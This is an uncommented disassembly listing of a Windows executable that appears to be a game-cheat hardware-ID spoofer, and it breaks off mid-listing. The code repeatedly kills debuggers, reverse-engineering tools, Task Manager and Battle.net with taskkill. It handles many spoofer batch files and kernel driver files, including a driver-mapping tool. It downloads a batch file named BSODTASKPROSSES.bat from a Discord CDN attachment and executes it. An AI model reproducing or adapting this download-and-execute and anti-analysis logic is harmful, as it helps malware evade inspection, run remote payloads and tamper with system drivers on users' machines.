lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoREMAKEALLINONESPOOFER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVPN.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemc.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemd.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemk1nse_checker.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemWindows_Activator.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemk1nse_MAC_Adress_Changer_protected.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_NXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemUNBANALL.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.cmd
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSPOOFERMAC.exe
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xa890]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xa870]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa870]
call fcn.14005d8d0
mov qword [rsp + 0x1280], rax
lea rcx, [rsp + 0xa890]
call fcn.14005d8d0
mov qword [rsp + 0x1288], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1280]
mov rdx, qword [rsp + 0x1288]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
